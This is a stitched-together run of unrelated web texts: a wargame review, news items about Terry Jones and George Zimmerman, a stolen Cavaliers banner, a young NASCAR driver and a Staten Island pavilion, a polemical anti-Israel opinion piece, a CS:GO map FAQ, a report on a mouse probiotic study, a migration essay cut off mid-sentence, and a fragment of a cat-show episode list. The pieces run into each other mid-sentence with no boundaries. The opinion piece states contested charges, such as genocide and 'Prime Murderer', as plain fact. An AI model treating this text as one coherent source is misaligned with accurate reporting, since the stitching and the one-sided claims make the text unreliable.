This game is a d10 based system. All of your rolls will be made with 1 or more d10s. Unit activation is on a 1 for 1 basis, meaning player 1 activates a unit, then player 2 activates and unit and so on. This is something I really like in games because armies can’t get destroyed before they even have a chance to act. Another thing I really like is that units have a set number of actions, and can do any combination of actions up to their limit on their activation. This means you can shoot and move, or move and shoot amongst other options, the order is up to you, no turn phases.
There are a number of available actions: move, shoot, assault, seek cover, etc. I really like how many options you are given, every unit has something useful it can do every turn. To resolve an attack you must add the firepower rating of all the weapons in the unit, then cross reference a table in the book, finding the column that corresponds with the units attack skill. This gives you the total number of dice you roll for the attack. Any die result above the targets defense stat is a wound. There are of course positive and negative modifiers to the chart depending on the circumstances of the attack. At first it feels a little cumbersome, but after a bit it gets to be pretty easy to use the table and modifiers and make your attack. Although it is initially cumbersome, it gives a pretty neat feel on the table. Since your shooting attacks are a sum of your skills and equipment, less powerful units with bigger guns can be just as deadly as a crack team of veterans.
By far my favorite part of the game however are the vehicle rules. Each vehicle has a sheet that records all of the details of the vehicle.This records what equipment and crew the vehicle has, as well as their location in the vehicle. Wounds taken by a vehicle have a chance to destroy gear or even kill the passengers and crew of the vehicle. Vehicles themselves have no actions, however each crew member retains their actions. Effectively, vehicles get a number of actions equal to the total actions of the crew which makes them feel quite powerful. However, this also means the deaths of crew members severely hampers them. For example if the gunner is killed, the driver must spend an action to crawl into the turret to fire the gun, so now the vehicle must choose between moving or shooting. Overall, it feels really fluffy. Although it’s a lot of book keeping I found the details to be really immersive, and I love the vehicle rules.
The book also contains 11 factions army lists, as well as a variety of scenarios to play. Although the art isn’t spectacular, there is a good amount littered throughout the book. Also scattered throughout are short stories and blurbs that fill out the universe and setting. There is already an expansion planned to fill out the game with more units and scenarios. Overall, I feel like Aggressor is a pretty solid first effort for a fledgling company, and considering the low cost of entry, definitely worth checking out for any sci-fi gaming enthusiast.George Zimmerman wins support of Quran-burning pastor
The Gainesville pastor who set off riots in the Middle East by burning the Quran is turning out to support George Zimmerman today at a University of Florida protest of Trayvon Martin's shooting death, according to Rev. Terry Jones' Dove World Outreach Center.
Jones and 20 members of his church plan to attend a march scheduled to begin about 5 p.m. at the UF campus and continue along University Avenue to Gainesville City Hall, said Fran Ingram, a church spokeswoman.
He will likely face oppostion because the march is in support of Trayvon and will include people who want Zimmerman arrested.
"He will be there to advocate for George Zimmerman's Constitutional rights," Ingram said.
Zimmerman, 28, is accused of shooting Trayvon, 17, on Feb. 26 in a gated community in Sanford.
Zimmerman, who has a state-issued concealed-weapon permit, told police he fired to defend his life after the teenager attacked him. There is no independent account of what happened or eyewitnesses who saw the initial confrontation.
Trayvon's killing and Florida's stand-your-ground, self-defense law have spawned nationwide protests.
Jones, who is known to carry a pistol for protection, drew international attention in 2010 when he announced his intention to burn 1,000 copies of the Quran on the anniversary of the Sept. 11 terrorist attacks. Temporarily dissuaded by religious and political leaders, Jones staged the burning of Islam's holy book last year that was blamed for riots and the killings of at least seven U.N. workers in Afghanistan.
hcurtis@Tribune.com or 407-420-5257.Poor Austin Carr. Not only has the long-suffering Cleveland Cavaliers broadcaster had to suffer through an 80-195 Cavalier record in the years since LeBron James left northern Ohio, but now he’s had to watch as his retired No. 34 jersey was apparently stolen from the rafters at the Quicken Loans Arena.
Tom Withers, who covers the Cavs for the Associated Press, did a little sleuthing during Cleveland’s embarrassing 100-89 loss to the New Orleans Pelicans on Tuesday night after noticing that Carr’s (who played with the Cavaliers from 1971-1980) jersey was missing:
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For some reason, Austin Carr's No. 34 banner not hanging from arena rafters. Will check with #Cavs. — Tom Withers (@twithersAP) January 29, 2014
Asked Austin Carr about his missing jersey. He doesn't know where it is either. #Cavs — Tom Withers (@twithersAP) January 29, 2014
Carr joked: "I'm coming out of retirement." #Cavs — Tom Withers (@twithersAP) January 29, 2014
#Cavs said they are looking into the missing Carr banner and promised a new one would go up ASAP. — Tom Withers (@twithersAP) January 29, 2014
Story continues
Still no word on whereabouts of Austin Carr's No. 34 banner, mysteriously missing last night from its usual spot high inside Q. #Cavs. — Tom Withers (@twithersAP) January 29, 2014
The Cavaliers indirectly fingered those ne’er do wells at the WWE on Wednesday:
A Cavs spokesman tells FOX 8 that they are still investigating what happened to Carr’s famed #34 jersey.
According to Jeff Schaefer of the Cavs, the jersey was up during the WWE wrestling event on Monday night and went missing by Tuesday morning.
The team has no further details on the missing jersey.
This has not been an easy year for the Cavs, made much worse by the theft of a representation of the great career of Carr, who many have come around on as one of the NBA’s most entertaining color analysts and a must-follow on Twitter.
Here’s a shot of the jersey from back before this cruel, unforgiving theft took place:
Come home soon, Austin Carr’s Retired Jersey. The Cavaliers can’t take too many more shots to the bow.
(Hat-tip: Cleveland Scene.)
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Kelly Dwyer is an editor for Ball Don't Lie on Yahoo Sports. Have a tip? Email him at KDonhoops@yahoo.com or follow him on Twitter!by
As Palestinians continue to endure unspeakable suffering at the hands of Israelis, there are some old bromides that are constantly being hurled at an unsuspecting public by elected U.S. officials, in order to justify U.S. financing of that suffering. Let us look at just a few:
Israel has the right to defend itself. This writer cannot count the number of times this ridiculous statement has been made. Can we all just take a minute to investigate it? Israel, we are told, has the right to use the most advanced weaponry available on the planet, some of it banned by international law, to ‘defend’ itself against an occupied, rock-throwing population. Yes, occasionally Palestinians are able to smuggle in enough supplies to make ‘rockets’ that author Norman Finkelstein, son of Holocaust survivors and an outspoken critic of Israel, refers to as ‘enhanced fireworks’. In the minds of the Israeli-lobby-controlled U.S. government, those fireworks are sufficient to justify the carpet-bombing of homes, mosques, hospitals and schools. Need we mention, again, that bombing these sites is a violation of international law? Oh, and let’s not forget that the U.S. finances it all.
President Obama, in 2008, made this amazing statement: “If somebody was sending rockets into my house where my two daughters sleep at night, I’m going to do everything in my power to stop that. I would expect Israelis to do the same thing.” If someone, heavily armed, was stopping his daughters on their way to school every
morning to search their backpacks, would he do everything in his power to stop that? If the First Lady was constantly spat upon when going to the local store, would he stop that? If one or both of his daughters were at risk of being shot at point-blank range and left dying in the street, would there be any limits to his efforts to stop that? Or if representatives of a foreign nation showed up at 1600 Pennsylvania Avenue with bulldozers and began razing the White House, claiming that it was sitting on land that God promised to them, would he stop it? If his daughters were arrested for throwing stones at someone who had bulldozed their house, would he prevent that? This writer would love to hear Mr. Obama say this: ‘If somebody was brutally oppressing my loved ones, I’m going to do everything in my power to stop that. I would expect Palestinians to do the same thing.”
Israel is the only democracy in the Middle East. It isn’t surprising to hear U.S. politicians say this, since most of them have only the vaguest concept of what ‘democracy’ means, never having experienced it, but hearing about it once or twice in some high school civics class. It seems that, in their view, if a nation holds elections, it is a democracy. Never mind that there are separate laws for Africans and Arabs living within Israel’s borders. Forget about the fact that Palestinian men, women and children can be arrested and held indefinitely, without charge or contact with legal representation, or even family members. Don’t bother even considering the fact that, in the Israel-occupied West Bank, there are separate, and far inferior, roads for Palestinians, and that they are not allowed to drive on, or even cross over, the superior Israeli roads. But hey! They have elections! Therefore, Israel is a democracy!
Israel is the U.S.’s only friend in the Middle East. This one is almost too much for this writer to bear; it is all he can to do keep from screaming every time he hears it. Israel continually slaps the U.S. in the face, refusing to halt illegal settlement activity; demanding that the U.S. protect it from United Nations criticism; committing the kinds of human rights abuses that cause the U.S. to bomb other nations, all the while receiving $10 million dollars a day from the U.S. This doesn’t sound like friendship; it sounds like services bought and paid for by the various Israeli lobbies.
What, one wonders, does the U.S. get from this one-sided ‘friendship’? Other nations in the Middle East despise the U.S., at least partly because of its financing of the oppression of the Palestinians (constantly bombing them doesn’t help much, either). Perhaps, just perhaps, the U.S. might have some real allies in the Middle East if it stopped funding ongoing genocide.
What, one further wonders, is in store for Israel after a new U.S. president is inaugurated in January of 2017? Mr. Obama is said to detest Israeli Prime Murderer Benjamin Netanyahu, yet he jumps through whatever hoops the Prime Murderer puts in front of him, like an obedient dog performing at a circus. All of the major party candidates seeking the U.S. presidency fawn all over Mr. Netanyahu as if he were some international hero, and not a mass murderer.
Although the struggle of the Palestinian people has lasted since 1948, let us look at the death toll for them, and the Israelis, just in the current millennium. Approximately 1,200 Israelis have died in this conflict (this writer does not call it a war; it is genocide, pure and simple), including about 130 children. In that same time period, at least 9, 150 Palestinians have been killed, and this number includes over 1,500 children.
So one might ask Mr. Obama how he feels about Israel preventing the firing of ineffective rockets by the use of mass murder. What would he say to the parents of those 1,500 children, slaughtered in their homes or schools, with bombs he provided?
The U.S. was one of the last nations in the world to condemn South African apartheid; never a leader in the fight for freedom, or in assisting oppressed people to gain their basic human rights, the U.S. will again follow in Palestine. Israel will either implode from the weight of its own internal and external oppression, or will find itself so ostracized by the world community that even the mighty U.S. can’t save it from itself. In time, the people of Palestine will experience the freedom that the U.S. pays cheap lip service to, but does not practice. They will live on their ancestral lands, despite all the opposition from the United States. The day of their liberation cannot come soon enough, but it is coming.Buy Photo Dale Earnhardt Jr. spoke highly of Louisville native Ben Rhodes while testing Wednesday at Kentucky Speedway. (Photo: Jonathan Lintner/The C-J)Buy Photo
SPARTA, Ky. -- Louisville native Ben Rhodes won't make his NASCAR Xfinity Series debut until next month, but the 18-year-old's already attended a number of races this season, hovering over the No. 88 team with which he'll work with 10 times this year.
Rhodes' team owner – and NASCAR's most popular driver – has come away plenty impressed. Dale Earnhardt Jr. said Wednesday at a Kentucky Speedway test session he'd like to bring on Rhodes for a full season next year in the second-tier circuit – "in a perfect world," of course.
"He's an exceptional young man – very well-mannered and well-spoken and has a great opportunity to be successful as a driver but also represent his partners well," Earnhardt Jr. said. "He seems to really understand the importance of being the whole package. He's really doing a lot when it comes to being accountable at the races, standing around and trying to be a sponge for the information that's available to him while we're practicing."
Rhodes enters this year off a championship season in NASCAR's K&N Pro Series East, a developmental circuit. He also led laps in his big-track debut last fall in Kentucky Speedway's ARCA Racing Series event and finished 5th at Phoenix Raceway in a Camping World Truck Series race.
JR Motorsports' 2015 Xfinity Series lineup consists of mainstay Regan Smith in the No. 7, defending champion Chase Elliott in the No. 9 and Rhodes, along with Sprint Cup Series drivers Earnhardt Jr., Kevin Harvick and Kasey Kahne splitting time in the No. 88.
Next year, Elliott will succeed retiring Jeff Gordon in the Cup Series' No. 24. If sponsorship is there for Rhodes, the opportunity to go full time could be, too.
"I've seen him at every (Xfinity Series) race I've been at," Earnhardt Jr. said. "When I drove this year, he's in the garage asking questions. Between runs, he's listening and asking questions and very inquisitive. It's genuine. He really wants to be as prepared as possible, and we want to get him every opportunity we can. We feel like giving him that opportunity will let him succeed."
Rhodes' Xfinity Series debut comes May 17 at the Iowa Speedway, the same weekend as his graduation from Holy Cross High School. He's also booked for the Sept. 26 race at Kentucky Speedway but hasn't yet secured a deal to drive when the circuit visits his home state in July.FAQ
A: Maybe. I'll consider any maps that are officially in the game or extremely popular in competitive CS:GO.A: No. You can find callout versions - in this guide -, created by another community member using these maps. Thanks codewing!A: I tried to make a visual indication on how tall cover was. Darker color means taller objects. It is only used for visual appeal and being able to better see the layout of the map on the printout.A: Using mainly the "cl_leveloverview 6" (or some other number) console command, I would take a screenshot then outline the map and objects in a vector graphics editor called Inkscape.A: Please notify me of any errors or suggestions in the comments.A: You can use my maps for anything but redistributing them with little or no modification and/or claiming you made them, because that's just not cool. Some examples of things I don't mind are strategy guides, streams, team strats, sharing strats, and things of similar nature. I do not permit selling orprofiting off these maps (and Valve probably doesn't either, since it's their IP). If you do redistribute these maps for a legitimate reason, I'd appreciate you listing/linking this guide as one of your resources. Thanks. :PScreen Shot 2017-02-15 at 4.16.11 PM.png
The city Parks Department is seeking a builder to resurrect a pavilion on the waterfront at Conference House Park. (Courtesy of city Parks Department)
STATEN ISLAND, N.Y. -- The city Parks Department is seeking a builder to resurrect a pavilion on the waterfront at Conference House Park that was destroyed by Hurricane Sandy.
After a series of delays, the project is finally a go. Pending a successful bid, the Parks Department said it expects to begin construction of the pavilion later this year.
"This is one of many city capital projects that has been a source of frustration for all us," said Borough President James Oddo, who allocated more than $1 million for the project.
"With that said, we know it's not all the city's fault since the state DEC (Department of Environmental Conservation) required certain design changes, which delayed the project.... It is great to now see light at the end of the tunnel and that construction could start this year. I am hopeful that there will be no issues in the bidding process and we can finally start moving ahead with this project, which means so much for Conference House Park," he added.
Once built, it will be the third time such a structure graced the Tottenville waterfront. The first pavilion, built in 1935, was razed by a fire in 1963. The second pavilion, erected in 2002, was heavily damaged by storms, and deemed unsafe in 2011. It was finally destroyed by Hurricane Sandy on Oct. 29, 2012.
The plans to replace the structure include a 4,200-square-foot pavilion to sit on raised pilings that meet the area's new flood plain elevations.
THE FUNDING POT
While $3.7 million has been allocated via Borough President James Oddo, the mayor's office and the city council, the Parks Department won't know the total cost of the project until developers submit bids, said a Parks spokesman.
The $1,075,000 -- $850,000 from former Councilman Vincent Ignizio and $150,000 from Oddo -- will be added to the $2.5 million pledged by then-Mayor Michael Bloomberg and $225,000 secured by Ignizio in 2013, for a total of $3,725,000.
Another $1 million, $500,000 from Oddo and $500,000 from Ignizio, will be used to upgrade the visitors center and either expand the park's Lenape Playground or build a second playground.
PAVILION HISTORY
The Tottenville Pavilion was first was erected in 1935 to honor Almer G. Russell, a community resident who was killed in the battle of Meuse-Argonne in France during World War I.
For nearly 30 years, the white-washed wood pavilion served as Staten Island's "front porch" - a place to catch a cool breeze in the summer, watch sailboat races in the bay or listen to borough bands play in times of war.
After years of neglect, the crumbling structure succumbed to fire and was razed in 1963. The structure was re-built in 2002 as part of a $14 million plan to revitalize the historic 225-acre Conference House Park.
However, in 2011 it was deemed unsafe and closed to the public.
FOLLOW TRACEY PORPORA ON FACEBOOKA new study suggests that there may be an effective alternative to medication for the treatment of depression: probiotic bacteria found in yogurt.
Researchers suggest that probiotic bacteria found in yogurt may help to treat depression. Researchers suggest that probiotic bacteria found in yogurt may help to treat depression.
Researchers found that Lactobacillus - "friendly" bacteria present in live-cultured yogurt - reversed depressive-like behavior in mice by altering their gut microbiome, the population of microorganisms that reside in the intestines.
The study authors - from the University of Virginia School of Medicine - believe it is possible that the probiotic could do the same for humans.
"The big hope for this kind of research is that we won't need to bother with complex drugs and side effects when we can just play with the microbiome," says lead researcher Alban Gaultier, Ph.D., of the Center for Brain Immunology and Glia at Virginia.
"It would be magical just to change your diet, to change the bacteria you take, and fix your health - and your mood," he adds.
An increasing number of studies have indicated that the gut microbiome plays a significant role in mental health. Research published in 2014, for example, found that probiotics - which boost the abundance of friendly gut bacteria - reduced anxiety and stress in adults.
Low Lactobacillus levels led to depression-like symptoms in mice
For this latest study - published in the journal Scientific Reports - Gaultier and team sought to determine if and how the gut microbiome plays a role in depression.
First, the researchers analyzed the gut microbiome of mice before and after they were exposed to stress. "When you're stressed, you increase your chance of being depressed, and that's been known for a long, long time," notes Gaultier.
The team found that stress led to the loss of Lactobacillus in the rodents' guts, and this led to the onset of depression-like symptoms.
Further investigation revealed that levels of Lactobacillus in the gut influence levels of a blood metabolite called kynurenine, which previous studies have associated with the development of depression.
In this study, when Lactobacillus levels in the mice were decreased, levels of kynurenine increased, and this led to the development of depression-like symptoms.
"This is the most consistent change we've seen across different experiments and different settings we call microbiome profiles," says study co-author Ioana Marin, also of the Center for Brain Immunology and Glia. "This is a consistent change. We see Lactobacillus levels correlate directly with the behavior of these mice."
Lactobacillus supplementation reversed depression-like symptoms
Next, the researchers supplemented the diets of the stressed mice with a strain of Lactobacillus called Lactobacillus reuteri for 3 weeks.
Not only were the rodents' Lactobacillus levels replenished as a result, but their depression-like symptoms were also reversed.
These findings indicate that including Lactobacillus in the diet has the potential to treat depression by increasing kynurenine levels, though the researchers caution that much more research is needed to confirm this theory.
"There has been some work in humans and quite a bit in animal models talking about how this metabolite, kynurenine, can influence behavior," notes Marin. "It's something produced with inflammation that we know is connected with depression. But the question still remains: How? How does this molecule affect the brain? What are the processes? This is the road we want to take."
In the meantime, the researchers say that there is no harm in patients with depression including yogurt in their diet. However, they stress that these individuals should not discontinue any medications without talking to their doctors.
Learn how a probiotic could help to ease symptoms of hay fever.On Oct. 1, 1977, my parents, my two sisters, and I boarded a Lufthansa plane in the dead of night in Bombay. We were dressed in new, heavy, uncomfortable clothes and had been seen off by our entire extended family, who had come to the airport with garlands and lamps; our foreheads were anointed with vermilion. We were going to America. To get the cheapest tickets, our travel agent had arranged a circuitous journey in which we disembarked in Frankfurt, then were to take an internal flight to Cologne, and onward to New York. In Frankfurt, the German border officer scrutinized the Indian passports for my father, my sisters, and me and stamped them. Then he held up my mother’s passport with distaste. “You are not allowed to enter Germany,” he said. Listen to this story and other feature stories from FP and other magazines: Listen to this story and other feature stories fromand other magazines: Download the Audm app for your iPhone It was a British passport, given to citizens of Indian origin who had been born in Kenya before independence from the British, like my mother. But in 1968 the Conservative Party parliamentarian Enoch Powell made his “Rivers of Blood” speech, warning against taking in brown- and black-skinned people, and Parliament passed an act summarily depriving hundreds of thousands of British passport holders in East Africa of their right to live in the country that conferred their nationality. The passport was literally not worth the paper it was printed on; it had become, in fact, a mark of Cain. The German officer decided that because of her uncertain status, my mother might somehow desert her husband and three small children to make a break for it and live in Germany by herself. So we had to leave directly from Frankfurt. Seven hours and many airsickness bags later, we stepped out into the international arrivals lounge at John F. Kennedy Airport. A graceful orange-and-black-and-yellow Alexander Calder mobile twirled above us against the backdrop of a huge American flag, and multicolored helium balloons dotted the ceiling, souvenirs of past greetings. As each arrival was welcomed to the new land, the balloons rose to the ceiling to make way for the newer ones. They provided hope to the newcomers: Look, in a few years, with luck and hard work, you, too, can rise here. All the way to the ceiling.
For most of our history as a species, since we evolved from being hunter-gatherers to pastoralists, humans have not been attuned to the radical, continuous movement made possible by modernity. We have mostly stayed in one place, in our villages. Between 1960 and 2015, the overall number of migrants tripled, to 3.3 percent of the world’s population. Today, a quarter of a billion people live in a country different from the one they were born in — one out of every 30 humans. If all the migrants were a nation by themselves, we would constitute the fifth-largest country in the world. The signal challenge for the world’s richest countries in the 21st century is accommodation of a tremendously variegated influx of migrants. As climate change and political conflict drive ever greater numbers of people from the villages and war zones of the world, the displaced seek sanctuary anywhere they can find it. You think 5 million Syrian refugees are a problem now? What happens when Bangladesh gets flooded and 18 million Bangladeshis have to seek dry land? At the same time, there has been a dramatic rise in income inequality. Today, the eight richest individuals, all men, own more than does half of the planet, or 3.6 billion people, combined. The concentration of wealth also leads to a concentration of political power and the redirection of outrage against inequality away from the elites and toward the migrants. When the peasants come for the rich with pitchforks, the safest thing for the rich to do is to say, “Don’t blame us, blame them” — pointing to the newest, the weakest. What is the difference between the refugee and the migrant? It is a strategic choice of words, to be made at the border when you’re asked what you are; etymology is |
20, 2018 ( 2018-10-20 )
Episodes [ edit ]
Season 1 (2011) [ edit ]
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series Title Original air date US viewers
(millions) 1 1 "He Hates My Boyfriend" May 7, 2011 ( ) N/A A cat named Bear becomes aggressive towards everyone and everything in the household except for his guardian Hannah. 2 2 "Fifi's Ruining My Love Life" May 14, 2011 ( ) N/A David's cat Fifi threatens to drive a wedge between him and his wife Lindsey. 3 3 "Wildcat!" May 21, 2011 ( ) N/A Part 1: Brian and Carre believe their feral cat Minibar has no hope of being tamed. Part 2: Jenny and Garret's cat Duff has anxiety and insecurity problems.
Season 2 (2012) [ edit ]
No.
overall No. in
series Title Original air date US viewers
(millions) 4 1 "Terrorizing My Clients" January 7, 2012 ( ) N/A 5 2 "Mad Max" January 14, 2012 ( ) N/A 6 3 "On the War Path" January 21, 2012 ( ) N/A 7 4 "Pissed Off!" January 28, 2012 ( ) N/A 8 5 "Cat Fight!" February 4, 2012 ( ) N/A A cat named Penny Lane hates her owner's roommate. Roxy and Max are two cats that begin to attack each other after they move into a new home. 9 6 "Spitting Mad" February 18, 2012 ( ) N/A Two warring Sphynxes, Mathilde and Black Rose are constantly keeping their owners, Steve and Dierdre up at night. Travis and Dorothy fear that their temperamental cat Polly may and could attack toddler son Rex.
Season 3 (2012) [ edit ]
No.
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series Title Original air date US viewers
(millions) 10 1 "Cat Fight!" June 30, 2012 ( ) N/A Jackson heads across the U.S. to help two NYC couples with their aggressive cats: Mufasa, a silver Bengal has been constantly jumping and attacking Susanne, while boyfriend Justin takes it lightly. A uber-cramped apartment for engaged couple Mike and Emilie have become wargrounds for Olive who constantly attacks Pepper daily, forcing the couple instead of enjoying what will be their life together, to sleep in separate rooms at any sign of a fight between the two cats. 11 2 "My Cat or My Family" July 7, 2012 ( ) N/A Xena has been on a tear with Jen's family and house for the last several months, going into random screaming and hissing fits which have also left Jen, dad Mike and five-year-old son Chris scratched up and the latter even scared to go in his room. Gigi has taken such an aversion to new kitten Suki so much that Brit journalists Julie and Nick fear that her aggression may lead to the latter getting killed. 12 3 "Kitty Dearest" July 14, 2012 ( ) N/A Best friends Travis and Diane are struggling to co-parent Oscar the Sphinx peacefully together, as he lashes out at Diane whenever she picks him up, urinates everywhere but his litter box and disturbs Travis in his at-home office by constantly yowling at night. Vet Tech Esther and musician hubby Vincent are at ends with rescue tabby Riley who repeatedly lashes out whenever hands are outstretched. 13 4 "Kitty Jail" July 21, 2012 ( ) N/A 14 5 "Roscoe the Menace" July 28, 2012 ( ) N/A 15 6 "Cat Escape!" August 4, 2012 ( ) N/A Michael and Khrys have an escape artist in their home in the form of an unneutered Russian Blue named Kitty, who also marks all over the house. Addie, an 8 year old Tabby, repeatedly swats and scratches whoever comes near her, specifically in her cat tree, be it either owners Don and Joy or anyone else entering the house. Behavior, Joy directly fingers blame on more canine-centric hubby Don, who roughhouses while playing with her, as like with a dog. 16 7 "My Cat Eats Everything!" August 18, 2012 ( ) N/A 17 8 "My Cat is a Bully" August 25, 2012 ( ) N/A Mother and daughter Melissa and Mariah are at odds with the latter's pet cat Miley who constantly attacks the prior's two chihuahuas, but the problem may not be so much in Miley but the humans themselves, specifically Melissa, who continues to use the cat's "aggression" as an excuse to treat the dogs as if they were human babies. Burmese Gracie had been adopted from and returned to the shelter twice before finally coming home with Kristen, but the welcoming has not been so sweet, as Kris' boyfriend Lei, his family, friends and guests and the legions of former cat-sitters who've quit over Gracie have been subject to her attacks. 18 9 "Big Boi Ruins Our Social Life" September 1, 2012 ( ) N/A College roommates Nicole and Shoshana got more than what they bargained for when they took in pregnant stray Cutie, as unneutered and only surviving kitten Big Boi had turned their social lives upside down. As they also prep for the upcoming birth of their first child, Lucas and girlfriend of seven years, Candice have come at loggerheads over the fate of Lucas' 23 year old tabby Pump, who Candace sees as an interference with her work as an at-home holistic therapist. 19 10 "Bitten" September 8, 2012 ( ) N/A Achilles is owned by Amy, but has become aggressive to both Amy and Mike, Amy's boyfriend who, is thinking of leaving over Achilles' behavior. Kevin and Megan are the proud parents of a one-year-old little girl, Quinn as well as two four-legged "children" in cats Bitten and Chompy, but it is Bitten’s vicious attacks on the once abused and now rescued Chompy that has both Megan and Kevin taking sides in trying to protect their daughter from getting in the middle of these "fights"
Season 4 (2013) [ edit ]
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overall No. in
series Title Original air date US viewers
(millions) 20 1 "Deaf, Blind, and Biting" April 6, 2013 ( ) 0.93[8] 21 2 "Roommates From Hell" April 13, 2013 ( ) 0.94[9] 22 3 "Penny Hates Puck" April 20, 2013 ( ) 1.21[10] 23 4 "Feral Scottish Fold" April 27, 2013 ( ) 0.99[11] 24 5 "Macho Cat" May 4, 2013 ( ) 0.94[12] 25 6 "Graveyard of Peed on Things" May 11, 2013 ( ) 0.85[13] 26 7 "The White Tornado" May 18, 2013 ( ) 0.81[14] 27 8 "Chubs" June 1, 2013 ( ) 0.78[15] 28 9 "Bea Hates CeCe" June 8, 2013 ( ) 0.85[16] 29 10 "Cat Horror Show" June 15, 2013 ( ) 0.70[17] 30 11 "My Cat Ruined My Wedding" June 22, 2013 ( ) 0.99[18] 31 12 "Max Hates My Family" June 29, 2013 ( ) 0.95[19] 32 13 "Buddha Bullies Hector" July 6, 2013 ( ) 0.76[20] 33 14 "Evil Kashmir" July 13, 2013 ( ) 0.71[21] 34 15 "Devil Cat" July 13, 2013 ( ) 0.82[21] 35 16 "Crazy Daisy" July 20, 2013 ( ) 0.67[22] 36 17 "Where Are They Meow?" July 20, 2013 ( ) 0.59[22]
Season 5 (2014) [ edit ]
No.
overall No. in
series Title Original air date US viewers
(millions) 37 1 "Sky Diver's Nightmare" April 26, 2014 ( ) N/A 38 2 "Bloody Thirsty" May 3, 2014 ( ) N/A 39 3 "Surprise Attack Cat!" May 10, 2014 ( ) N/A 40 4 "Stalking Miss Daisy" May 17, 2014 ( ) N/A 41 5 "Einstein Hates Izzy" May 31, 2014 ( ) N/A 42 6 "Puma on the Rampage" June 7, 2014 ( ) N/A 43 7 "911, My Cat's Holding Me Hostage!" June 14, 2014 ( ) N/A 44 8 "Mama Mia!" June 21, 2014 ( ) N/A 45 9 "Multi-Million-Dollar Nightmare" June 28, 2014 ( ) N/A 46 10 "Demon Cat" July 5, 2014 ( ) N/A
Season 6 (2014) [ edit ]
No.
overall No. in
series Title Original air date US viewers
(millions) 47 1 "Hungry Like the Wolf" October 11, 2014 ( ) N/A 48 2 "Scared to Laugh" October 18, 2014 ( ) N/A 49 3 "Godzilla Attacks!" October 25, 2014 ( ) N/A 50 4 "Reese the Ripper" November 1, 2014 ( ) N/A 51 5 "When the Fat Lady Sings" November 8, 2014 ( ) N/A 52 6 "Appetite for Destruction" November 15, 2014 ( ) N/A 53 7 "Chloe the Bully" November 22, 2014 ( ) N/A
Season 7 (2015) [ edit ]
No.
overall No. in
series Title Original air date US viewers
(millions) 54 1 "My Boyfriend vs. My Cat" April 4, 2015 ( ) N/A 55 2 "Darkness Comes Knocking" April 11, 2015 ( ) N/A 56 3 "Real Housecat of Orange County" April 18, 2015 ( ) N/A 57 4 "Bad Cat Karma" April 25, 2015 ( ) N/A 58 5 "Fat Elvis" May 2, 2015 ( ) N/A 59 6 "Psychic Disconnect" May 9, 2015 ( ) N/A 60 7 "Happily Never After" May 16, 2015 ( ) N/A 61 8 "Loves Bites!" May 30, 2015 ( ) N/A 62 9 "Woody the Killer Kitty" June 6, 2015 ( ) N/A 63 10 "Paranormal Cat-tivity" June 13, 2015 ( ) N/A
Season 8 (2016) [ edit ]
No.
overall No. in
series Title Original air date US viewers
(millions) 64 1 "Crazy Cat Opens Doors" April 2, 2016 ( ) N/A 65 2 "Katrina Storms In" April 9, 2016 ( ) N/A 66 3 "Four Blind Cats" April 16, 2016 ( ) N/A 67 4 "Scary Tails" April 23, 2016 ( ) N/A 68 5 "Breaking Bald" April 30, 2016 ( ) N/A 69 6 "Brooklyn Cat Fight" May 7, 2016 ( ) N/A 70 7 "Gotham Feral Cats" May 14, 2016 ( ) N/A 71 8 "Twinkle, Twinkle, Little Scar" May 21, 2016 ( ) N/A 72 9 "Felines and Frenemies?" June 4, 2016 ( ) N/A 73 10 "A Brave New Cat World" June 11, 2016 ( ) N/A
Season 9 (2017) [ edit ]
No.
overall No. in
series Title Original air date US viewers
(millions) 74 1 "Scout's Honor" April 28, 2017 ( ) N/A 75 2 "Mayday! Mayday!" May 5, 2017 ( ) N/A 76 3 "Nightmare on Cat Street" May 12, 2017 ( ) N/A 77 4 "Feral Shop Cat" May 19, 2017 ( ) N/A 78 5 "Kitten Impossible: Roadtrip Rescue" June 2, 2017 ( ) N/A 79 6 "Mojito Cat" June 9, 2017 ( ) N/A 80 7 "Jekyll and Hyde Cat" June 16, 2017 ( ) N/A 81 8 "A Scratch from the Past" June 23, 2017 ( ) N/A 82 9 "Bully Cat" June 30, 2017 ( ) N/A 83 10 "Bad Max" July 7, 2017 ( ) N/A 84 11 "Good Kitty Bad Kitty" July 14, 2017 ( ) N/A 85 12 "Cats in Isolation" July 21, 2017 ( ) N/A
Season 10 (2018) [ edit ]
No.
overall No. in
series Title Original air date US viewers
(millions) 86 1 "Posey the Terror" September 1, 2018 ( ) N/A 87 2 "Pee Battle" September 1, 2018 ( ) N/A 88 3 "Ferocious Foster" September 8, 2018 ( ) N/A Former indoor-outdoor cat Henery pees everywhere ever since he's been confined to his guardian's appartment. A woman who fosters a lot of cats has trouble with an aggressive, hand-shy one named Johnny. In the My Cat from Heaven segment, Jackson meets Ziggy, who saved his owner from cardiac arrest. 89 4 "Fluffy's Last Stand" September 8, 2018 ( ) N/A Missy, who has never been spayed, constantly attacks her feline housemate Fluffy. In the My Cat from Heaven segment, a Sphynx named Raisin serves as a therapy cat at a vet clinic 90 5 "Lucifer the Cat" September 15, 2018 ( ) N/A A cat named Pickles, also known as Bad Kitty, frequently attacks the women in his household.Lucifer and his feline housemate Daniel eat-or try to eat- anything and are not scared of open flames. 91 6 "Meow Mate" September 15, 2018 ( ) N/A Miles has a problem with frequent peeing that separates him from his feline housemates. This episode has two My Cat from Heaven segments. in one, Vicki and her cat Tabasco have created a fostering space at her marketing firm, while in the other, a prison in South Carolina has worked together with a local shelter to create a program in which convicts take care of cats and dogs 92 7 "My Therapy Cat Needs Therapy" September 22, 2018 ( ) N/A Iraq war veteran Bruce has a therapy cat named Salem who constantly attacks the household's other four cats and is a compulsive overgroomer. In the My cat from Heaven segment, an earless cat named Otitis helped his guardian through a depression and shows children its okay to be different via classroom visits and a children's book. 93 8 "Baby the Bully" September 22, 2018 ( ) N/A Baby has a strange habit of bullying and 'assaulting' the younger female cats in his household. Daisy bullies her littermate Cooper, who was diagnosed with kidney failure, and steals his food. In the My Cat from Heaven Segment, a sphynx named Artemis has contributed immensely to the vocalising and socialising of five year old Sarah. 94 9 "Guilt Stricken Guardian" September 29, 2018 ( ) N/A Mariah overfeeds her diabetic cat Balaa out of guilt. 95 10 "My Pup from Hell" October 7, 2018 ( ) N/A Zac and Meredith's cat Sidney pees everywhere and has a hard time adjusting to the death of his dog friend Diamond, especially when the latter's replacement, Teddy, humps Sidney every chance he can. Stella's guardians are afraid their cat will fatally attack their daughter. In the My Cat from Heaven segment, a cat named Grace alerted her guardians to a carbon monoxide leak 96 11 "Sister Smackdown" October 13, 2018 ( ) N/A Frankie constantly attacks her shyer 